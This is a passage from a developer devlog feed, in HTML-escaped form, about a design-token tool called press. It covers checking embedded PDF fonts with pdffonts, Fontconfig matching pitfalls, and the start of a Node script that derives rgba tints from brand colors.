&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  printf&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;%-12s %s\n&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;pdffonts&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; $f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.pdf &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; awk&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;NR==3 {print $1}&apos;)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;browser.pdf  &amp;#x3C;-  browser profile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fontconfig.pdf  &amp;#x3C;-  fontconfig profile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;browser      WMHEWB+Helvetica-Neue-Bold&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fontconfig   CFDMQT+Arial-Bold&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.mankier.com/1/pdffonts&quot;&gt;&lt;code&gt;pdffonts&lt;/code&gt;&lt;/a&gt; “lists the fonts used in a Portable Document Format (PDF) file”, giving the font name “exactly as given in the PDF file (potentially including a subset prefix)”. That six-letter prefix is a subset tag and depends on which glyphs got embedded, so it may well read differently on your machine; the part after the &lt;code&gt;+&lt;/code&gt; is what you’re checking.&lt;/p&gt;
&lt;p&gt;The prediction and the measurement agree, and the two profiles disagree with each other. That second fact is what makes the first one worth anything. If both profiles had produced &lt;code&gt;Arial-Bold&lt;/code&gt; you would have no way to tell a working profile split from a probe that measures nothing, so keep a case in the loop that you expect to come out &lt;em&gt;different&lt;/em&gt;. press did the same thing when migrating for real: alongside the byte-identical results it ran a control that forced &lt;code&gt;Helvetica Neue&lt;/code&gt;, confirmed the face changed, and only then treated the identical results as meaningful.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;fc-match&lt;/code&gt; will tell you a font is installed when it isn’t.&lt;/strong&gt; The obvious way to check a stack is to ask Fontconfig about each name, and the obvious tool gives the wrong answer: per its man page, &lt;a href=&quot;https://www.mankier.com/1/fc-match&quot;&gt;&lt;code&gt;fc-match&lt;/code&gt;&lt;/a&gt; “matches pattern (empty pattern by default) using the normal fontconfig matching rules to find the best font available.” Best &lt;em&gt;available&lt;/em&gt;, always. Symptom: you check every family in your stack, each one returns a real font, and you conclude the stack resolves fine. On the machine this guide was written on, &lt;code&gt;fc-match Inter&lt;/code&gt; confidently reports Verdana, and &lt;code&gt;fc-match ui-monospace&lt;/code&gt; does too. The escape is to enumerate instead of match: &lt;code&gt;fc-list : family&lt;/code&gt;, split on commas, and test membership, which is exactly what &lt;code&gt;installed_families()&lt;/code&gt; above does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Depth is robustness in one engine and risk in the other.&lt;/strong&gt; Adding fallbacks feels strictly defensive, and in a browser it is, because the first entry wins on the platform you tuned for and the rest is insurance for platforms you didn’t. Under Fontconfig the same list is a list of things that can beat your intent, and the more you add the likelier one of them is installed. Symptom: a stack grows over a few PRs, nothing changes in the browser, and a PDF quietly restyles itself. The escape is to stop treating the stack as one value: keep the deep chain for the browser, and hand the PDF engine a deliberately shallow one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A profile that falls back silently is worse than no profiles.&lt;/strong&gt; Once you have named profiles, the tempting kindness is to default when a name isn’t recognized, so a typo doesn’t break a build. Symptom: a consumer requests &lt;code&gt;font-config&lt;/code&gt;, receives the browser chain, renders the wrong face, and every check stays green because nothing failed. The escape is the two lines in &lt;code&gt;load_profile&lt;/code&gt; above: an unknown name raises and lists the known ones. A build that stops is cheaper than a document nobody notices is wrong.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://doc.courtbouillon.org/weasyprint/stable/features.html&quot;&gt;WeasyPrint features documentation&lt;/a&gt; — Pango and Fontconfig do the matching, and the CSS font matching algorithm is explicitly not implemented&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mankier.com/1/fc-match&quot;&gt;&lt;code&gt;fc-match(1)&lt;/code&gt; man page&lt;/a&gt; — it returns the best font &lt;em&gt;available&lt;/em&gt;, which is why it can’t answer “is this installed”&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mankier.com/1/pdffonts&quot;&gt;&lt;code&gt;pdffonts(1)&lt;/code&gt; man page&lt;/a&gt; — reading the faces actually embedded in a rendered PDF&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/font-family&quot;&gt;MDN: &lt;code&gt;font-family&lt;/code&gt;&lt;/a&gt; — the standard &lt;code&gt;system-ui&lt;/code&gt; / &lt;code&gt;ui-serif&lt;/code&gt; / &lt;code&gt;ui-monospace&lt;/code&gt; keywords&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press): per-engine font profiles (0.3.0) (#119) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/74d9b362feaaa3b5c5e07410a5b7b6a78ec49d01&quot;&gt;74d9b36&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.3.0.png" length="27909" type="image/png"/></item><item><title>The migration won&apos;t tell you which values it dropped</title><link>https://natejswenson.com/devlog/press/v0.2.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.2.0/</guid><description>Before moving a product onto a shared token set, read what it already ships and diff it against what the system can actually express. The values that fail that diff are the ones a migration quietly loses.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;press 0.2.0 added what &lt;a href=&quot;http://natejswenson.io&quot;&gt;natejswenson.io&lt;/a&gt; needed to adopt the shared brand without changing by a single pixel. Surveying the site first turned up four values the token set could not express: three alpha tints it had written as literal &lt;code&gt;rgba()&lt;/code&gt; strings, and a monospace stack one fallback deeper than the canonical one. Adopting press at that moment would have meant either losing them or hand-writing them locally, which is the duplication the whole thing exists to end. All 19 of the site’s generated custom properties came out byte-identical to what it already shipped.&lt;/p&gt;
&lt;p&gt;The survey is the transferable part. Any time you move a product onto shared configuration, whether that’s design tokens, a lint config, or a base Docker image, there’s a set of values the product currently has and a set the shared thing can produce, and the interesting work is in the gap between them. This guide builds a tool that finds that gap before you migrate rather than after.&lt;/p&gt;
&lt;h2&gt;Read the consumer before you touch it&lt;/h2&gt;
&lt;p&gt;The step people skip is the first one. You cannot know what a migration would drop without reading what’s there, so start by extracting the consumer’s real declarations rather than trusting your memory of them.&lt;/p&gt;
&lt;p&gt;Everything below is Node’s standard library, so an empty directory and Node 18 or newer is the whole setup. Start with the token set as it existed before the survey:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;colors&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;paper&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#F5F0E6&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;ink&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#181510&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#E8501F&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;derived&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;fonts&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;mono_stack&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ui-monospace, &apos;SF Mono&apos;, Menlo, monospace&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then declare what the consumer is expected to receive. This mapping is also where a consumer’s own naming lives, since a product will already have its own names for these values and renaming everything on adoption day is how a migration stalls.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;site&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;site/theme.css&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;vars&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;paper&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;bg&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ink&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fg&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;border&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;border&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;border_hover&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;border-hover&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;accent_dim&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;accent-dim&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;token&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;mono_stack&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;font-mono&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that four of those tokens do not exist in the file above. That is deliberate: the target declares what the consumer &lt;em&gt;needs&lt;/em&gt;, and the survey’s job is to tell you the system can’t supply it yet.&lt;/p&gt;
&lt;h2&gt;Derive the tints, don’t copy them&lt;/h2&gt;
&lt;p&gt;Three of the site’s values were alpha tints of colors the token set already had. A tint written out as a literal is a second place the brand’s ink color lives, and nothing tells you when the two stop agreeing. So declare it as a computation instead. Save this as &lt;code&gt;resolve.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; hexToRgb&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(hex) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^#([0-9a-f]{6})$/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(hex);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;m) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`not a 6-digit hex color: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;hex&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; parseInt&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(m[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [(n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 16&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 255&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, (n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 255&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, n &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 255&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// A derived token is declared as {from, alpha} and COMPUTED, never written out.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// This is the difference between one source of truth and two: an rgba() typed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// by hand into a consumer is a second place the brand&apos;s ink color lives, and&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// nothing will tell you when the two stop agreeing.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; resolveTokens&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(raw) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; derived &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [name, spec] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Object.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;entries&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(raw.derived &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {})) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw.colors[spec.from];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;base) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`derived token &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot; references unknown color &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [r, g, b] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; hexToRgb&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(base);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    derived[name] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `rgba(${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spec&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;alpha&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;})`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
